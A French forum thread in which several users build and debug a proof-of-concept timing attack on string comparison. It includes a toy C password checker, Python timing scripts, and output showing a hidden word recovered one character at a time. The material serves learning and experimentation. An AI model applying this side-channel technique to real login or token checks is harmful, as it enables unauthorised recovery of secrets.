Discussion :

[manticore]

Bonjour,

je voudrai réaliser un PoC d'une timing-attack sur un strcmp en c. Cette attaque est relativement simple et répandu :

- La fonction strcmp compare caractère par caractère les deux strings. Dès qu'un caractère est différent elle retourne l'index.

- En calculant la différence de temps d'exécution on arrive à trouver quel est le caractère utilisé. Cela se fait beaucoup plus rapidement qu'un attaque par bruteforce.

J'ai essayé de le faire en python. Le code binaire que j'appelle prend un seul argument le mot de passe.

Code binaire :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
 
int main(int argc, char* argv[])
{
	char* password = "hello";
 
	if (strcmp(password, argv[1]) == 0)
	{
		printf("Hello\n");
	}
	else
	{
		printf("GO OUT\n");
	}
 
	return 0;
}

Et le code python que j'utilise :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import timeit
 
password = ""
path = "./constanteTime/constanteTime"  # path du binaire.
nTest = 1000                            # nombre de repetition timer.
 
def findNextChar(_prev, _pos):
    bestVal = 0                 # Plus grand temps.
    newChar = ''                # Caractere correspondant au meilleur temps.
    for i in range(97, 123):    # Parcourt de toutes les minuscules
        global arg              # utilisation de arg en global pour le passer au timer.
        arg = "%s %s%c%s" % (path, _prev[0:_pos], chr(i), _prev[_pos+1:len(_prev)]) # Un vilain string replace manuel.
        tempVal = sendConnect() # Recupere le temps d'execution.
 
        print "%c   %f" % (chr(i), tempVal)
 
        # Update du temps.
        if tempVal > bestVal:
            bestVal = tempVal
            newChar = chr(i)
 
    return "%s%c%s" % (_prev[0:_pos], newChar, _prev[_pos+1:len(_prev)])
 
 
def sendConnect():
    global arg 
    # Get time delta.
    timer = timeit.Timer(getTime)
    return timer.timeit(nTest)
 
def getTime():
    global arg
    os.popen(arg)
 
# Lancement avec chaine de base.
print findNextChar("aaaaa", 0)

Je suis censé récupérer des différences de temps d'exécution très courte (quelques ms/ns), mais avec cette méthode je trouve des temps important (jusqu'à 2 secondes avec 1000 itérations).

Comment faire pour calculer un temps plus précis pour l'exécution de os.popen() ?

Merci de votre aide.

[dividee]

Bon, je peux me tromper, mais même en optimisant le code, je vois mal comment ça pourrait fonctionner.

A chaque cycle de mesure:

• Le processus Python doit effectuer un appel système.
• L'OS doit créer et initialiser un nouveau processus, charger ton binaire depuis le cache disque, et l'insérer dans la file d'attente de l'ordonnanceur
• Lorsque l'ordonnanceur décide de l'exécuter, le processus doit encore:
  - initialiser le runtime C
  - exécuter le code du main, qui contient essentiellement un strcmp et un printf. printf est certainement un ordre de magnitude ou deux plus lent que strcmp (sur de courtes chaînes).
• L'exécution se termine, le système doit encore supprimer le processus, sauver la valeur de retour, rendre la main au processus Python, etc.

En supposant que tout se passe au mieux, j'ai du mal à imaginer que le temps total soit en-deçà de quelques microsecondes, et il y a plusieurs étapes dont le temps d'exécution n'est pas constant. Comparé à cela, les différences de temps d'exécution de strcmp doivent compter pour une poignée de nanosecondes. Totalement noyées dans le "bruit", à mon avis.

[tyrtamos]

Bonjour,

Je suis assez d'accord avec dividee: les différences de temps dans la comparaison sont très petits par rapport à la "machinerie" système.

Mais comme c'est un problème amusant, j'ai creusé un peu le principe en m'écartant cependant un peu du problème posé.

Partons du principe qu'il y a une fonction qui dit si oui ou non le mot proposé est correct (ici, le mot est "machin"). En principe, on n'a pas accès à cette fonction: on peut seulement l'appeler, recevoir sa réponse et mesurer son temps d'exécution!)

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
def estegal(mot):
    ref = "machin" # mot de référence à trouver
    if len(mot)!=len(ref):
        return False
    for c1, c2 in zip(list(mot), list(ref)):
        if c1!=c2:
            return False
    return True

On va chercher par essais systématiques:

1- le nombre de caractères du mot à trouver (ici=6), parce qu'un mot de bonne longueur demandera plus longtemps puisqu'il atteindra le "for...".

2- chacun des caractères du mot en tablant sur le fait qu'un "bon" caractère demandera plus longtemps puisque la boucle de test ira plus loin.

Pour cela, il faut une mesure du temps d'exécution. En principe, c'est timeit qu'il faudrait utiliser, en particulier parce qu'il désactive le garbage collection, mais il est pénible à utiliser, et je n'ai pas trouvé les résultats très stables. Alors, j'ai simplifié un peu: j'ai utilisé time.clock() sous Windows (peut-être faut-il utiliser time.time() sous Linux?), mais j'ai en plus neutralisé le garbage collection pendant la mesure du temps.

Cela donnera comme importation:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
from time import clock
import gc

Voilà comment on va trouver le nombre de caractères. Pour assurer une certaine stabilité des temps, on va à chaque fois tester nrep=1000000 (1 million) de fois et calculer le cumul des temps:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
###############################################
nrep = 1000000
t0 = 0
nbc = 1
for i in xrange(1, 30):
    mot = 'a'*i
    gcactif = gc.isenabled()
    gc.disable()
 
    t = 0
    for k in xrange(0, nrep):
        tps = clock()
        estegal(mot)
        t += clock()-tps
 
    if gcactif:
        gc.enable()
 
    print i, mot, t
    if i>1 and (t-t0)/t0*100 >5.0: # arrêt si le temps a augmenté de plus de 5%
        nbc = i
        break
    else:
        t0 = t
 
print "nb de caracteres:", nbc

Ce qui donne (temps en secondes):

1 a 0.495194393491
2 aa 0.495511597782
3 aaa 0.495503513692
4 aaaa 0.495894629662
5 aaaaa 0.495218260804
6 aaaaaa 3.37778684565
nb de caracteres: 6

On a bien trouvé les 6 caractères de "machin"! Et assez facilement. Ici, on arrête quand le temps d'exécution est > 5% du précédent, mais c'est un peu arbitraire. On pourrait aussi calculer l'écart-type des valeurs successives et s'arrêter quand on a un temps > moyenne+3*ecart-type.

Voilà comment on peut trouver le mot inconnu:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
nrep = 1000000
nbc = 6
mot = ""
alpha = "abcdefghijklmnopqrstuvwxyz"
for i in xrange(0, nbc): 
    T = []
    for car in alpha: # essayer tous les car. de alpha à la position i 
        mottest = mot + car + 'a'*(nbc-len(mot)-1)
 
        gcactif = gc.isenabled()
        gc.disable()
 
        t = 0
        for k in xrange(0, nrep):
            tps = clock()
            estegal(mottest)
            t += clock()-tps
 
        if gcactif:
            gc.enable()
 
        T.append(t)
        print mottest, t
 
    tmax = 0
    kmax = -1
    for k, t in enumerate(T):
        if t>tmax:
            tmax = t
            kmax = k
    car = alpha[kmax]
    mot += car
    print u"trouvé:", mot

Ce qui donne:

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
aaaaaa 3.53353261257
baaaaa 3.52070008219
caaaaa 3.52979891789
daaaaa 3.53971694137
eaaaaa 3.52442800252
faaaaa 3.53114087682
gaaaaa 3.53152044409
haaaaa 3.52146229638
iaaaaa 3.53319308079
jaaaaa 3.52857860526
kaaaaa 3.52185995662
laaaaa 3.53059808792
maaaaa 3.75775485575
naaaaa 3.52460816224
oaaaaa 3.52773939974
paaaaa 3.52951251013
qaaaaa 3.52141456175
raaaaa 3.53486879714
saaaaa 3.5300564539
taaaaa 3.51713307374
uaaaaa 3.52716542935
vaaaaa 3.54170562749
waaaaa 3.5228381315
xaaaaa 3.53611836648
yaaaaa 3.53535114784
zaaaaa 3.51802116877
trouvé: m
maaaaa 3.62543678145
mbaaaa 3.53451848658
mcaaaa 3.53750959986
mdaaaa 3.5300422105
meaaaa 3.54958184082
mfaaaa 3.53269186721
mgaaaa 3.53184496256
mhaaaa 3.53183456873
miaaaa 3.53435949946
mjaaaa 3.53208132596
mkaaaa 3.53333628467
mlaaaa 3.53255713239
mmaaaa 3.53312763817
mnaaaa 3.53088026116
moaaaa 3.53349873637
mpaaaa 3.54030515515
mqaaaa 3.53290590312
mraaaa 3.53075438032
msaaaa 3.5349207663
mtaaaa 3.52787605937
muaaaa 3.53327392169
mvaaaa 3.53159859028
mwaaaa 3.52864712755
mxaaaa 3.5332870102
myaaaa 3.5634191081
mzaaaa 3.58994724168
trouvé: ma
maaaaa 3.66428776277
mabaaa 3.63281601574
macaaa 3.73308144335
madaaa 3.63722569432
maeaaa 3.6595551056
mafaaa 3.64160611617
magaaa 3.65279719132
mahaaa 3.62835821757
maiaaa 3.65512425438
majaaa 3.63159185355
makaaa 3.65403521194
malaaa 3.62993115051
mamaaa 3.65600118564
manaaa 3.63813765662
maoaaa 3.65075268652
mapaaa 3.62787779166
maqaaa 3.65420767256
maraaa 3.63825044895
masaaa 3.65970523867
mataaa 3.63576478379
mauaaa 3.66000742965
mavaaa 3.64458991527
mawaaa 3.66306591038
maxaaa 3.64128429239
mayaaa 3.66068610827
mazaaa 3.63812418317
trouvé: mac
macaaa 3.7362034419
macbaa 3.71340553838
maccaa 3.73481759789
macdaa 3.72428556856
maceaa 3.73899822725
macfaa 3.72046487367
macgaa 3.73920802865
machaa 3.80358779608
maciaa 3.7359974901
macjaa 3.71288700174
mackaa 3.73625079157
maclaa 3.71440950536
macmaa 3.73139571812
macnaa 3.71941817649
macoaa 3.76665004938
macpaa 3.74132221064
macqaa 3.74448655441
macraa 3.72048489141
macsaa 3.75744034616
mactaa 3.71257210719
macuaa 3.7620290296
macvaa 3.71606058448
macwaa 3.76316850131
macxaa 3.77608071769
macyaa 3.79290332394
maczaa 3.74265416069
trouvé: mach
machaa 3.78860066327
machba 3.80239904993
machca 3.81659471182
machda 3.80354853047
machea 3.8033371893
machfa 3.79894829839
machga 3.85111493075
machha 3.82643728383
machia 3.89929995633
machja 3.79992839802
machka 3.79234359692
machla 3.79851214249
machma 3.79107554964
machna 3.81001657238
machoa 3.80105901581
machpa 3.80953537654
machqa 3.79844439015
machra 3.80196558871
machsa 3.79746082586
machta 3.79913654223
machua 3.80075143543
machva 3.79781729572
machwa 3.7985371647
machxa 3.79912114392
machya 3.79687838659
machza 3.7977433842
trouvé: machi
machia 3.88610672157
machib 3.88893653795
machic 3.89550813317
machid 3.90610291047
machie 3.89083591415
machif 3.88598161063
machig 3.89018880196
machih 3.89256128991
machii 3.88638658504
machij 3.90004253769
machik 3.89924606237
machil 3.89134983128
machim 3.90351600169
machin 3.91758732259
machio 3.91358723796
machip 3.91624382388
machiq 3.93041754327
machir 3.93792342824
machis 3.91235152702
machit 3.90464700431
machiu 3.91142108676
machiv 3.8980461524
machiw 3.89809966147
machix 3.89447529449
machiy 3.89614331167
machiz 3.90613832648
trouvé: machir

Vous voyez qu'on a trouvé "machir" et pas "machin", mais on n'est pas tombé loin!

Après, pourquoi le temps d'essai de "machir"=3.93792342824s est plus grand que l'essai de "machin"=3.91758732259s? Je ne sais pas, mais on constate que les essais sont de moins en moins discriminant au fur et à mesure qu'on trouve plus de caractères, ce qui est logique (le faible écart de temps se compare à un temps total de plus en plus long)! Et ça devrait être pire pour un programme Python qui appelle une fonction en C qui donnera un temps de comparaison minuscule.

En résumé: le principe est bon, mais la "machinerie" système de Python noie assez vite les différences de temps dans le bruit de fond.

En tout cas, je me suis bien amusé

[manticore]

Je partais du principe que je pouvais me fier à l'appel os.popen(cmd), et que je pouvais récupérer le temps d'exécution du binaire. Ce qui me fournirait une mesure relativement fiable. Après les appels systèmes pythons, et autres routines devrait s'exécuter dans un temps moyen stable.

J'ai fait quelques tests sur 6 caractères en mettant le mot de passe dans le premier cas et une chaine complétement fausse dans le second (donc arrêt au premier caractère sur le deuxième test et toute la chaine sur le premier). Et la je vois une différence sur 1000 exécutions.

Je me demande si en travaillant pas un peu la méthode j'arrive à distribuer le bruit par exemple en remplaçant :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
 
test("aaaaa", 1000) # test 1000 fois de la solution aaaaa

Par :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
 
for i in range(1000):
    test("aaaaa",1)
    test("baaaa",1)

Avec cette solution je devrai avoir moins d'impact des autres processus (dû à une meilleurs distribution du bruit).

En enlevant les valeurs extrêmes, on pourrait encore affiner la mesure... je vais faire quelques tests lorsque j'aurai un peu de temps et je reviendrai poster les résultats.

Très intéressant tes tests.

Pour le dernier caractère la différence du temps d'exécution n'est plus visible car tu tests de toute façon celui-ci. C'est pour cela que l'on test "aaa", puis "baa" car c'est le temps du tests du caractère suivant qui nous intéresse.

Pour trouver la solution complète, il te faut bruteforcer le dernier caractère de manière standard.

[tyrtamos]

Bonjour,

Pour trouver la solution complète, il te faut bruteforcer le dernier caractère de manière standard.

Et oui, c'est bien vu, et j'aurais dû y penser: je comprends maintenant pourquoi dans mes essais, je n'arrivais jamais à trouver le dernier caractère! Et l'essai des 26 lettres (pour cet exemple) est facile à faire.

Avec ce dernier point, j'aurais donc finalement réussi à trouver le mot caché, par analyse des temps d'exécution dans ce cas simplifié.

Je reste intéressé par la suite de tes travaux! Afin de neutraliser la machinerie système de Python, peut-être faudrait-il faire tout simplement la boucle de comptage des temps en C, appelable en Python?

Merci!

[Bktero]

@manticore : je passe par là et je me permet 2 petites remarques sur le code C :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(int argc, char* argv[])
{
	const char* password = "hello";

	if ( argc > 1 && strcmp(password, argv[1]) == 0)
	{
		printf("Hello\n");
	}
	else
	{
		printf("GO OUT\n");
	}

	return 0;
}

La première pour respecter les types ; la seconde pour éviter un crash du programme si pas d'argument.


@tyrtamos : joli code !